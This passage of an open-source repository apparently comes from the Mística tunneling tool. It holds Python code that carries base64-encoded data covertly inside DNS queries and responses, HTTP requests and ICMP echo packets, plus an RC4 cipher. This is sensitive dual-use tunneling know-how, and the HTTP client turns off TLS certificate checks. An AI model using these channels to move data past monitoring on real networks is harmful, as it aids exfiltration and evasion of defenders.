ServerOverlay.__subclasses__(): if x.NAME == lst: return x for x in ClientWrapper.__subclasses__(): if x.NAME == lst: return x for x in ClientOverlay.__subclasses__(): if x.NAME == lst: return x return None @staticmethod def generateArgParser(module): config = module.CONFIG parser = ArgumentParser(prog=config["prog"],description=config["description"]) for arg in config["args"]: for name,field in arg.items(): opts = {} for key,value in field.items(): opts[key] = value parser.add_argument(name, **opts) return parser ================================================ FILE: utils/rc4.py ================================================ # # MIT License # # Copyright (c) 2018 David Buchanan # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # class RC4: """ https://github.com/DavidBuchanan314/rc4 This class implements the RC4 streaming cipher. Derived from http://cypherpunks.venona.com/archive/1994/09/msg00304.html """ def __init__(self, key, streaming=True): assert(isinstance(key, (bytes, bytearray))) # key scheduling S = list(range(0x100)) j = 0 for i in range(0x100): j = (S[i] + key[i % len(key)] + j) & 0xff S[i], S[j] = S[j], S[i] self.S = S # in streaming mode, we retain the keystream state between crypt() # invocations if streaming: self.keystream = self._keystream_generator() else: self.keystream = None def crypt(self, data): """ Encrypts/decrypts data (It's the same thing!) """ assert(isinstance(data, (bytes, bytearray))) keystream = self.keystream or self._keystream_generator() return bytes([a ^ b for a, b in zip(data, keystream)]) def _keystream_generator(self): """ Generator that returns the bytes of keystream """ S = self.S.copy() x = y = 0 while True: x = (x + 1) & 0xff y = (S[x] + y) & 0xff S[x], S[y] = S[y], S[x] i = (S[x] + S[y]) & 0xff yield S[i] ================================================ FILE: wrapper/client/__init__.py ================================================ __all__ = ["http", "dns", "icmp"] ================================================ FILE: wrapper/client/dns.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from sotp.misticathread import ClientWrapper from socket import socket,timeout,AF_INET,SOCK_DGRAM from struct import pack,unpack_from from os import getpid,path from collections import namedtuple from base64 import urlsafe_b64encode,urlsafe_b64decode from sotp.core import BYTE,Header,OptionalHeader,Sizes class QTYPE(object): A = 1 AAAA = 28 CNAME = 5 MX = 15 NS = 2 PTR = 12 SOA = 6 TXT = 16 class SimpleDnsClient(object): """ This is an adaptation of the project: https://github.com/vlasebian/simple-dns-client """ ### Tuples for message parts Header = namedtuple("Header", [ 'x_id', 'qr', 'opcode', 'aa', 'tc', 'rd', 'ra', 'z', 'rcode', 'qdcount', 'ancount', 'nscount', 'arcount', ]) Question = namedtuple("Question", [ 'qname', 'qtype', 'qclass', ]) Answer = namedtuple("Answer", [ 'name', 'x_type', 'x_class', 'ttl', 'rdlength', 'rdata', ]) Reply = namedtuple("Reply", [ 'header', 'question', 'answer', ]) # Opcodes QUERY = 0 IQUERY = 1 STATUS = 2 def __init__(self, servers, port, domain, query_timeout, name, logger): self.servers = servers self.port = port self.domain = domain self.name = name self.query_timeout = query_timeout # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True def create_header(self, opcode): """ Function used to create a DNS query header. Args: opcode = opcode of the query. It can take the following values: QUERY = 0, IQUERY = 1, STATUS = 2 Returns: The header """ header = b'' flags = b'' # Message ID header += pack(">H", getpid()) # Flags (QR, opcode, AA, TC, RD, RA, Z, RCODE) if opcode == self.QUERY: # Standard DNS query flags = 0b0000000100000000 elif opcode == self.IQUERY: flags = 0b0000100100000000 elif opcode == self.STATUS: flags = 0b0001000100000000 header += pack(">H", flags) # QDCOUNT header += pack(">H", 1) # ANCOUNT header += pack(">H", 0) # NSCOUNT header += pack(">H", 0) # ARCOUNT header += pack(">H", 0) return header def create_qname(self, domain_name): """ Function used to transfrom URL from normal form to DNS form. Args: domain_name = URL that needs to be converted Returns: The URL in DNS form Example: 3www7example3com0 to www.example.com """ qname = b'' split_name = domain_name.split(".") for atom in split_name: qname += pack(">B", len(atom)) qname += bytes(atom, 'utf-8') qname += b'\x00' self._LOGGING_ and self.logger.debug_all(f"[{self.name}] create_qname() url to dns form qname: {qname}") return qname def get_dns_query(self, domain_name, query_type): """ Function used to create a DNS query question section. Args: domain_name = the domain name that needs to be resolved query_type = the query type of the DNS message Returns: The DNS query question section and the length of the qname in a tuple form: (question, qname_len) """ # QNAME qname = self.create_qname(domain_name) self._LOGGING_ and self.logger.debug_all(f"[{self.name}] get_dns_query() query_type for request: {query_type}") code = 0 # QTYPE - query for A record if query_type == "A": # host address code = 1 elif query_type == "NS": # authoritative name server code = 2 elif query_type == "CNAME": # the canonical name for an alias code = 5 elif query_type == "SOA": # start of a zone of authority code = 6 elif query_type == "MX": # mail exchange code = 15 elif query_type == "TXT": # text strings code = 16 #elif query_type == "PTR": # # domain name pointer # code = 12 # print("[Error]: Not implemented. Exiting...") # exit(1) elif query_type == "AAAA": # AAAA record code = 28 else: raise f"Invalid query type {query_type}" qtype = pack(">H", code) # QCLASS - internet qclass = pack(">H", 1) # whole question section question = self.create_header(self.QUERY) + qname + qtype + qclass return (question, len(qname)) def query_dns_server(self, packet): """ Function used to create a UDP socket, to send the DNS query to the server and to receive the DNS reply. Args: packet = the DNS query message Returns: The reply of the server If none of the servers in the dns_servers.conf sends a reply, the program exits showing an error message. """ sock = socket(AF_INET, SOCK_DGRAM) sock.settimeout(self.query_timeout) for server_ip in self.servers: got_response = False try: sock.sendto(packet, (server_ip, self.port)) recv = sock.recvfrom(1024) if recv: got_response = True self._LOGGING_ and self.logger.debug_all(f"[{self.name}] query_dns_server() response from dns server {server_ip}:{self.port}") break except (timeout,Exception): self._LOGGING_ and self.logger.debug_all(f"[{self.name}] query_dns_server() timeout expired for dns server {server_ip}:{self.port}") continue if not got_response: self._LOGGING_ and self.logger.debug_all(f"[{self.name}] query_dns_server() any response received from dns server list") raise "No response recieved from any servers" return recv[0] def extract_header(self, msg): """ Function used to extract the header from the DNS reply message. Args: msg: The message recieved from the DNS server Returns: The header of the reply as a Header namedtuple in the following form: Header(x_id, qr, opcode, aa, tc, rd, ra, z, rcode, qdcount, ancount, nscount, arcount) """ raw_header = unpack_from(">HHHHHH", msg, 0) x_id = raw_header[0] flags = raw_header[1] qr = flags >> 15 opcode = (flags & 0x7800) >> 11 aa = (flags & 0x0400) >> 10 tc = (flags & 0x0200) >> 9 rd = (flags & 0x0100) >> 8 ra = (flags & 0x0080) >> 7 z = (flags & 0x0070) >> 4 rcode = (flags & 0x000f) qdcount = raw_header[2] ancount = raw_header[3] nscount = raw_header[4] arcount = raw_header[5] return self.Header(x_id, qr, opcode, aa, tc, rd, ra, z, rcode, qdcount, ancount, nscount, arcount) def convert_to_name(self, raw_name): """ Function used to convert an url from dns form to normal form. Args: The dns form of the url Returns: The normal form of the url Example: 3www7example3com0 to www.example.com """ # might not work as expected in some cases - todo name = '' for byte in raw_name: if byte < 30: name += '.' else: name += chr(int(byte)) name = name[1:-1] return name def extract_question(self, msg, qname_len): """ Function used to extract the question section from a DNS reply. Args: msg: The message recieved from the DNS server qname_len: The length of the name beign querried Returns: The question section of the reply as a Question namedtuple in the following form: Question(qname, qtype, qclass) """ # 12 is len(header_section) offset = 12 # qname raw_qname = [] for i in range(0, qname_len): byte = unpack_from(">B", msg, offset + i)[0] raw_qname.append(byte) qname = self.convert_to_name(raw_qname) qtype = unpack_from(">H", msg, offset + qname_len)[0] qclass = unpack_from(">H", msg, offset + qname_len + 2)[0] return self.Question(qname, qtype, qclass) def extract_name(self, msg, offset): """ Function used to extract the name field from the answer section. Args: msg: The message recieved from the DNS server offset: The number of bytes from the start of the message until the end of the question section (or until the end of the last RR) Returns: Tuple containing the name and number of bytes read. """ raw_name = [] bytes_read = 1 jump = False while True: byte = unpack_from(">B", msg, offset)[0] if byte == 0: offset += 1 break # If the field has the first two bits equal to 1, it's a pointer if byte >= 192: next_byte = unpack_from(">B", msg, offset + 1)[0] # Compute the pointer offset = ((byte << 8) + next_byte - 0xc000) - 1 jump = True else: raw_name.append(byte) offset += 1 if jump == False: bytes_read += 1 raw_name.append(0) if jump == True: bytes_read += 1 name = self.convert_to_name(raw_name) return (name, bytes_read) def extract_a_rdata(self, msg, offset, rdlength): """ Function used to extract the RDATA from an A type message. Args: msg: The message recieved from the DNS server offset: The number of bytes from the start of the message until the end of the question section (or until the end of the last RR) rdlength: The length of the RDATA section Returns: The RDATA field of the answer section as a string (an IPv4 address). """ fmt_str = ">" + "B" * rdlength rdata = unpack_from(fmt_str, msg, offset) ip = '' for byte in rdata: ip += str(byte) + '.' ip = ip[0:-1] return ip def extract_ns_rdata(self, msg, offset, rdlength): """ Function used to extract the RDATA from a NS type message. Args: msg: The message recieved from the DNS server offset: The number of bytes from the start of the message until the end of the question section (or until the end of the last RR) rdlength: The length of the RDATA section Returns: The RDATA field of the answer section as a string and the offset from the start of the message until the end of the rdata field as a tuple: (rdata, field) """ (name, bytes_read) = self.extract_name(msg, offset) offset += bytes_read return (name, offset) def extract_cname_rdata(self, msg, offset, rdlength): """ Function used to extract the RDATA from a CNAME type message. Args: msg: The message recieved from the DNS server offset: The number of bytes from the start of the message until the end of the question section (or until the end of the last RR) rdlength: The length of the RDATA section Returns: The RDATA field of the answer section as a string and the offset from the start of the message until the end of the rdata field as a tuple: (rdata, field) """ (name, bytes_read) = self.extract_name(msg, offset) offset += bytes_read return (name, offset) def extract_soa_rdata(self, msg, offset, rdlength): """ Function used to extract the RDATA from a SOA type message. Args: msg: The message recieved from the DNS server offset: The number of bytes from the start of the message until the end of the question section (or until the end of the last RR) rdlength: The length of the RDATA section Returns: The RDATA field of the answer section as a tuple of the following form: (pns, amb, serial, refesh, retry, expiration, ttl) """ # extract primary NS (pns, bytes_read) = self.extract_name(msg, offset) offset += bytes_read # extract admin MB (amb, bytes_read) = self.extract_name(msg, offset) offset += bytes_read aux = unpack_from(">IIIII", msg, offset) serial = aux[0] refesh = aux[1] retry = aux[2] expiration = aux[3] ttl = aux[4] return (pns, amb, serial, refesh, retry, expiration, ttl) def extract_mx_rdata(self, msg, offset, rdlength): """ Function used to extract the RDATA from a MX type message. Args: msg: The message recieved from the DNS server offset: The number of bytes from the start of the message until the end of the question section (or until the end of the last RR) rdlength: The length of the RDATA section Returns: The RDATA field of the answer section as a tuple of the following form: (preference, mail_ex) """ preference = unpack_from(">H", msg, offset) offset += 3 fmt_str = ">" + "B" * (rdlength - 5) rdata = unpack_from(fmt_str, msg, offset) mail_ex = '' for byte in rdata: mail_ex += chr(byte) return (preference, mail_ex) def extract_aaaa_rdata(self, msg, offset, rdlength): """ Function used to extract the RDATA from an AAAA type message. Args: msg: The message recieved from the DNS server offset: The number of bytes from the start of the message until the end of the question section (or until the end of the last RR) rdlength: The length of the RDATA section Returns: The RDATA field of the answer section (an IPv6 address as a string) """ fmt_str = ">" + "H" * (rdlength / 2) rdata = unpack_from(fmt_str, msg, offset) ip = '' for short in rdata: ip += format(short, 'x') + ':' ip = ip[0:-1] return ip def extract_txt_rdata(self, msg, offset, msglength): try: records = [] datn = msg[offset:] cont = offset while msglength > cont: rlen = unpack_from(">B", datn)[0] datn = datn[1:] records.append(datn[:rlen]) rlen += 12 # skipping unknowing things cont += rlen + 1 datn = datn[rlen:] return records except Exception: return [] def extract_answer(self, msg, offset): """ Function used to extract a RR from a DNS reply. Args: msg: The message recieved from the DNS server offset: The number of bytes from the start of the message until the end of the question section (or until the end of the last RR) Returns: The resource record section of the reply that begins at the given offset and the offset from the start of the message to where the returned RR ends in the following form: (Answer(name, x_type, x_class, ttl, rdlength, rdata), offset) If the DNS Response is not implemented or recognized, an error message is shown and the program will exit. """ (name, bytes_read) = self.extract_name(msg, offset) offset = offset + bytes_read aux = unpack_from(">HHIH", msg, offset) offset = offset + 10 x_type = aux[0] x_class = aux[1] ttl = aux[2] rdlength = aux[3] rdata = '' if x_type == 1: # A type rdata = self.extract_a_rdata(msg, offset, rdlength) offset = offset + rdlength self._LOGGING_ and self.logger.debug_all(f"[{self.name}] extract_answer() with qtype A, rdata: {rdata}") elif x_type == 2: # NS type rdata = self.extract_ns_rdata(msg, offset, rdlength) offset = offset + rdlength self._LOGGING_ and self.logger.debug_all(f"[{self.name}] extract_answer() with qtype NS, rdata: {rdata}") elif x_type == 5: # CNAME type rdata = self.extract_cname_rdata(msg, offset, rdlength) offset = offset + rdlength self._LOGGING_ and self.logger.debug_all(f"[{self.name}] extract_answer() with qtype CNAME, rdata: {rdata}") elif x_type == 6: # SOA type rdata = self.extract_soa_rdata(msg, offset, rdlength) offset = offset + rdlength self._LOGGING_ and self.logger.debug_all(f"[{self.name}] extract_answer() with qtype SOA, rdata: {rdata}") elif x_type == 15: # MX type rdata = self.extract_mx_rdata(msg, offset, rdlength) offset = offset + rdlength self._LOGGING_ and self.logger.debug_all(f"[{self.name}] extract_answer() with qtype MX, rdata: {rdata}") elif x_type == 28: # AAAA type rdata = self.extract_aaaa_rdata(msg, offset, rdlength) offset = offset + rdlength self._LOGGING_ and self.logger.debug_all(f"[{self.name}] extract_answer() with qtype AAAA, rdata: {rdata}") elif x_type == 16: # TXT type rdata = self.extract_txt_rdata(msg, offset, len(msg)) offset = offset + rdlength self._LOGGING_ and self.logger.debug_all(f"[{self.name}] extract_answer() qtype TXT, rdata: {rdata}") else: self._LOGGING_ and self.logger.debug_all(f"[{self.name}] extract_answer() unexpected qtype value: {x_type}") raise f"DNS Response not recognized (type {str(x_type)})" return (self.Answer(name, x_type, x_class, ttl, rdlength, rdata), offset) def parse_answer(self, msg, qname_len): """ Function used to parse the DNS reply message. Args: msg: The message recieved from the DNS server qname_len: The length of the name beign querried Returns: The DNS reply message as a Reply namedtuple in the following form: (Header, Question, [Answer]). """ header = self.extract_header(msg) question = self.extract_question(msg, qname_len) # 12 is header length and 4 is len(qtype) + len(qclass) offset = 12 + qname_len + 4 answer = [] for _ in range(header.ancount): (a, offset) = self.extract_answer(msg, offset) answer.append(a) for _ in range(header.nscount): (a, offset) = self.extract_answer(msg, offset) answer.append(a) for _ in range(header.arcount): (a, offset) = self.extract_answer(msg, offset) answer.append(a) return self.Reply(header, question, answer) def tuple_str(self, t): """ Auxiliary function used for turning a tuple into a string. Args: The tuple Returns: The string form of the tuple """ res = '' for i in t: res += str(i) + ' ' return res def parse_rdata_entries(self, reply): for entry in reply.answer: if entry.x_type == QTYPE.NS: subdomain = str(entry.rdata[0]) data_from_subdomain = subdomain.replace(f".{self.domain}","") return data_from_subdomain elif entry.x_type == QTYPE.CNAME: subdomain = str(entry.rdata[0]) data_from_subdomain = subdomain.replace(f".{self.domain}","") return data_from_subdomain elif entry.x_type == QTYPE.SOA: subdomain = str(entry.rdata[0]) data_from_subdomain = subdomain.replace(f".{self.domain}","") return data_from_subdomain elif entry.x_type == QTYPE.MX: subdomain = str(entry.rdata[1]) data_from_subdomain = subdomain.replace(f".{self.domain}","") return data_from_subdomain elif entry.x_type == QTYPE.TXT: # wait for only one rdata entry (but maybe could split sotp packet in multiple rdata entries) return "".join(r.decode("utf-8", "ignore") for r in entry.rdata) else: # queries A and AAAA (Ipv4 and Ipv6 not contempled yet) self._LOGGING_ and self.logger.debug_all(f"[{self.name}] parse_rdata_entries() invalid rdata type: {entry.x_type}") raise "No entries in rdata section" class dns(ClientWrapper): NAME = "dns" CONFIG = { "prog": NAME, "description": "Encodes/Decodes data in DNS queries/responses using different methods.", "args": [ { "--domain": { "help": "Domain Name for querying (Ex: mistica.dev)", "nargs": 1, "default": ["mistica.dev"], "type": str }, "--hostname": { "help": "Server Resolver Addresses (Ex: 8.8.8.8, 1.1.1.1, etc)", "nargs": "*", "default": ["127.0.0.1","1.1.1.1","8.8.8.8","8.8.4.4"], "type": str }, "--port": { "help": "Server Resolver Port (Ex: 5355)", "nargs": 1, "default": [5355], "type": int }, "--query": { "help": "Type of DNS Query (NS,CNAME,SOA,MX,TXT) not supported (A,AAAA) yet", "nargs": 1, "default": ["TXT"], "choices": ["NS","CNAME","SOA","MX","TXT"], "type": str }, "--query-timeout": { "help": "Timeout in second to wait for a socket reply.", "nargs": 1, "default": [1], "type": int }, "--multiple": { "help": "Split sotp packet in multiple subdomain octects.", "action": "store_true" }, "--max-size": { "help": "Maximum size in bytes of the sotp packet to be embedded in the dns packet. Not recommended change it (37 bytes for simple mode and 169 bytes for multiple mode, read doc for why)", "nargs": 1, "default": [37], "type": int }, "--poll-delay": { "help": "Time in seconds between pollings (in order not to saturate when not transmitting)", "nargs": 1, "default": [3], "type": int }, "--response-timeout": { "help": "Waiting time in seconds for wrapper data.", "nargs": 1, "default": [2], "type": int }, "--max-retries": { "help": "Maximum number of re-synchronization retries.", "nargs": 1, "default": [100], "type": int } } ] } MAX_RFC_DOMAIN_LEN = 255 # see rfc1035 MAX_DOMAIN_LEN = MAX_RFC_DOMAIN_LEN - 2 # external dotted-label specification MAX_SUBDOMAIN_LEN = 63 # see rfc1035 def __init__(self, qsotp, args, logger): ClientWrapper.__init__(self,type(self).__name__,qsotp,logger) self.args = args self.name = type(self).__name__ self.exit = False # Parse arguments self.domain = None self.hostname = None self.port = None self.query = None self.query_timeout = None self.multiple = None # Base arguments self.max_size = None self.poll_delay = None self.response_timeout = None self.max_retries = None self.parseArguments(args) # Dnsclient parameters self.dnsclient = SimpleDnsClient(self.hostname,self.port, self.domain, self.query_timeout, self.name, self.logger) # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True # needed to check max size depending of method used for embed sotp data in dns requests. def checkMaxProtoSize(self,max_size,domain,multiple): if multiple: headerlen = int(Sizes.HEADER/BYTE) encmaxsizelen = len(urlsafe_b64encode(b'A' * (headerlen + max_size))) domainlen = len(domain) + 1 numpoints = int(encmaxsizelen/self.MAX_SUBDOMAIN_LEN) totalen = (encmaxsizelen + numpoints) + domainlen self._LOGGING_ and self.logger.debug_all(f"[{self.name}] checkMaxProtoSize() headerlen:{headerlen}, encmaxsizelen:{encmaxsizelen},domainlen+1:{domainlen},numpoints:{numpoints},totalen:{totalen}") if totalen > self.MAX_DOMAIN_LEN: raise BaseException(f"Total Length is {totalen} and max available for this module is {self.MAX_DOMAIN_LEN}. Please, reduce max_size value or use a shorter domain") else: headerlen = int(Sizes.HEADER/BYTE) totalen = len(urlsafe_b64encode(b'A' * (headerlen + max_size))) self._LOGGING_ and self.logger.debug_all(f"[{self.name}] checkMaxProtoSize() headerlen:{headerlen},max_size:{max_size},totalen:{totalen}") if totalen > self.MAX_SUBDOMAIN_LEN: raise BaseException(f"Total Length is {totalen} and max available for this module is {self.MAX_SUBDOMAIN_LEN}. Please, reduce max_size value or use --multiple parameter") def parseArguments(self, args): args = self.argparser.parse_args(args.split()) self.domain = args.domain[0] self.hostname = args.hostname self.port = args.port[0] self.query = args.query[0] self.query_timeout = args.query_timeout[0] self.multiple = args.multiple self.max_size = args.max_size[0] self.poll_delay = args.poll_delay[0] self.response_timeout = args.response_timeout[0] self.max_retries = args.max_retries[0] self.checkMaxProtoSize(self.max_size,self.domain, self.multiple) def splitInMultipleSubdomains(self, sotpdata): lendata = len(sotpdata) complete = "" for i in range(0,lendata,self.MAX_SUBDOMAIN_LEN): complete = complete + "." + sotpdata[i:i+self.MAX_SUBDOMAIN_LEN] newdomain = complete[1:] + "." + self.domain return newdomain def wrap(self,content): # make your own routine to encapsulate sotp content in dns packet (i use b64 in subdomain space) sotpDataBytes = urlsafe_b64encode(content) sotpDataEnc = str(sotpDataBytes, "utf-8") packedata = None # if multiple is supported, split sotp content in multiple subdomains if self.multiple: packedata = self.splitInMultipleSubdomains(sotpDataEnc) else: packedata = sotpDataEnc + "." + self.domain # doing dns query and obtaining a raw dns response self._LOGGING_ and self.logger.debug_all(f"[{self.name}] wrap() domain for query: {packedata}") query, querylen = self.dnsclient.get_dns_query(packedata, self.query) raw_reply = self.dnsclient.query_dns_server(query) self.inbox.put(self.messageToWrapper((raw_reply,querylen))) def unwrap(self,content): raw_reply, querylen = content # parsing raw dns response and getting rdata content reply = self.dnsclient.parse_answer(raw_reply, querylen) dataEnc = self.dnsclient.parse_rdata_entries(reply) self._LOGGING_ and self.logger.debug_all(f"[{self.name}] wrap() data dns response: {dataEnc}") data = urlsafe_b64decode(dataEnc) return data ================================================ FILE: wrapper/client/http.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from utils.messaging import Message, MessageType, SignalType from sotp.misticathread import ClientWrapper from http.client import HTTPConnection, HTTPSConnection from base64 import urlsafe_b64encode,urlsafe_b64decode from ssl import _create_unverified_context class http(ClientWrapper): NAME = "http" CONFIG = { "prog": NAME, "description": "Encodes/Decodes data in HTTP requests/responses using different methods", "args": [ { "--hostname": { "help": "Hostname or IP address. Default is localhost", "nargs": 1, "default": ["localhost"], "type": str }, "--port": { "help": "Server Port", "nargs": 1, "default": [8080], "type": int }, "--timeout": { "help": "HTTPConnection Timeout", "nargs": 1, "default": [5], "type": int }, "--method": { "help": "HTTP Method to use", "nargs": 1, "default": ["GET"], "choices": ["GET","POST"], "type": str }, "--uri": { "help": "URI Path before embedded message. Default is '/'", "nargs": 1, "default": ["/"], "type": str }, "--header": { "help": "Header field to embed the packets", "nargs": 1, "type": str }, "--post-field": { "help": "Post param to embed the packet", "nargs": 1, "type": str }, "--success-code": { "help": "HTTP Code for Success Connections. Default is 200", "nargs": 1, "default": [200], "choices": [100,101,102,200,201,202,203,204,205,206,207, 208,226,300,301,302,303,304,305,306,307,308, 400,401,402,403,404,405,406,407,408,409,410, 411,412,413,414,415,416,417,418,421,422,423, 424,426,428,429,431,500,501,502,503,504,505, 506,507,508,510,511], "type": int }, "--proxy": { "help": "Proxy Address for tunneling communication format 'ip:port'", "nargs": 1, "type": str }, "--max-size": { "help": "Maximum size in bytes of the SOTP packet. You can change it depending http method used (see rfc2616 page 69)", "nargs": 1, "default": [4096], "type": int }, "--poll-delay": { "help": "Time in seconds between pollings", "nargs": 1, "default": [5], "type": int }, "--response-timeout": { "help": "Waiting time in seconds for wrapper data.", "nargs": 1, "default": [3], "type": int }, "--max-retries": { "help": "Maximum number of re-synchronization retries.", "nargs": 1, "default": [20], "type": int }, "--ssl": { "help": "Flag to indicate that SSL will be used.", "action": "store_true" } } ] } def __init__(self, qsotp, args, logger): ClientWrapper.__init__(self,type(self).__name__,qsotp,logger) self.args = args self.name = type(self).__name__ self.exit = False self.parseArguments(args) # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True def parseArguments(self, args): args = self.argparser.parse_args(args.split()) self.hostname = args.hostname[0] self.port = args.port[0] self.timeout = args.timeout[0] self.uri = args.uri[0] self.method = args.method[0] self.header = args.header[0] if args.header is not None else None self.post_field = args.post_field[0] if args.post_field is not None else None self.success_code = args.success_code[0] self.proxy = args.proxy[0] if args.proxy is not None else None self.max_size = args.max_size[0] self.poll_delay = args.poll_delay[0] self.response_timeout = args.response_timeout[0] self.max_retries = args.max_retries[0] self.ssl = args.ssl def doReqInURI(self, conn, content, method): data_headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"} conn.request(method, f"{self.uri}{content}", headers=data_headers) r = conn.getresponse() return (r.read(),r.status) def doReqInHeaders(self, conn, content, method): data_headers = { "Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain", f"{self.header}": f"{content}" } conn.request(method, f"{self.uri}", headers=data_headers) r = conn.getresponse() return (r.read(),r.status) def doGet(self, conn, content): if self.header: return self.doReqInHeaders(conn, content, "GET") else: return self.doReqInURI(conn, content, "GET") def doPostField(self, conn, content): post_data = f"{self.post_field}={content}" data_headers = { "Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain" } conn.request("POST", f"{self.uri}", post_data, data_headers) r = conn.getresponse() return (r.read(),r.status) def doPost(self, conn, content): if self.post_field: return self.doPostField(conn, content) elif self.header: return self.doReqInHeaders(conn, content, "POST") else: return self.doReqInURI(conn, content, "POST") def dispatchByMethod(self, conn, content): if self.method == "GET": return self.doGet(conn, content) elif self.method == "POST": return self.doPost(conn, content) else: raise Exception("None HTTP Method Available") def packSotp(self, content): # we encode sotp data with urlsafe_b64encode but change # here (and in wrap_server) if you use other encoding. urlSafeEncodedBytes = urlsafe_b64encode(content) urlSafeEncodedStr = str(urlSafeEncodedBytes, "utf-8") return urlSafeEncodedStr def wrap(self,content): self._LOGGING_ and self.logger.debug(f"[{self.name}] wrap: {len(content)} bytes") packedSotp = self.packSotp(content) if self.proxy: proxy_ip, proxy_port = self.proxy.split(":") if self.ssl: conn = HTTPSConnection(self.hostname, self.port, timeout=self.timeout, context=_create_unverified_context()) else: conn = HTTPConnection(proxy_ip, proxy_port, self.timeout) conn.set_tunnel(self.hostname, self.port) else: if self.ssl: conn = HTTPSConnection(self.hostname, self.port, timeout=self.timeout, context=_create_unverified_context()) else: conn = HTTPConnection(self.hostname, self.port, self.timeout) data_response, code_response = self.dispatchByMethod(conn, packedSotp) conn.close() self.inbox.put(self.messageToWrapper((data_response,code_response))) def unpackSotp(self, data): # we decode sotp data with urlsafe_b64decode but change # here (and in wrap_server) if you use other encoding. return urlsafe_b64decode(data) def unwrap(self,content): data, httpcode = content if httpcode != self.success_code: self._LOGGING_ and self.logger.error(f"[{self.name}] unwrap: Invalid HTTP Response {httpcode}") raise Exception(f"Invalid HTTP Response Code {httpcode} waited: {self.success_code}") return self.unpackSotp(data) ================================================ FILE: wrapper/client/icmp.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from sotp.misticathread import ClientWrapper from base64 import urlsafe_b64encode,urlsafe_b64decode from sotp.core import BYTE,Header,OptionalHeader,Sizes import socket, select from utils.icmp import Packet class ICMPClient(object): def __init__(self, hostname, request_timeout, name, logger): self.name = name self.hostname = hostname self.request_timeout = request_timeout # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True # Opening Raw Socket and resolve the hostname self.mysocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) self.mysocket.setblocking(0) socket.gethostbyname(self.hostname) def send_data(self, data): request = Packet() request.pack_request(data) raw_request = request.toBytes() self._LOGGING_ and self.logger.debug_all(f"[{self.name}] send_data() will send: {raw_request}") self.mysocket.sendto(raw_request, (self.hostname, 1)) def get_data(self): ready = select.select([self.mysocket], [], [], self.request_timeout) if ready[0]: raw_response = self.mysocket.recv(65535) self._LOGGING_ and self.logger.debug_all(f"[{self.name}] get_data() recv: {raw_response}") response = Packet() response.unpack(raw_response) return response.data class icmp(ClientWrapper): # 65535 bytes (Max IP Packet) - 20 bytes (IP Header) - 8 bytes (ICMP Header) # = 65507 bytes; see rfc 792 for more info MAX_ICMP_DATA_LEN = 65507 NAME = "icmp" CONFIG = { "prog": "icmp", "description": "Encodes/Decodes data in the data section of ICMP Echo requests/responses", "args": [ { "--hostname": { "help": "Remote Server Addresses (not working for 127.0.0.1, localhost, etc)", "nargs": 1, "type": str, "required": 1 }, "--request-timeout": { "help": "Timeout in second to wait for a socket reply.", "nargs": 1, "default": [1], "type": int }, "--max-size": { "help": "Maximum size in bytes of the sotp packet to be embedded in the icmp data section (49120 bytes max)", "nargs": 1, "default": [1024], "type": int }, "--poll-delay": { "help": "Time in seconds between pollings (in order not to saturate when not transmitting)", "nargs": 1, "default": [3], "type": int }, "--response-timeout": { "help": "Waiting time in seconds for wrapper data.", "nargs": 1, "default": [2], "type": int }, "--max-retries": { "help": "Maximum number of re-synchronization retries.", "nargs": 1, "default": [10], "type": int } } ] } def __init__(self, qsotp, args, logger): ClientWrapper.__init__(self,type(self).__name__,qsotp,logger) self.name = type(self).__name__ self.exit = False # Generate argparse self.argparser = self.generateArgParser() # Parse arguments self.hostname = None self.request_timeout = None # Base arguments self.max_size = None self.poll_delay = None self.response_timeout = None self.max_retries = None self.parseArguments(args) # Logger 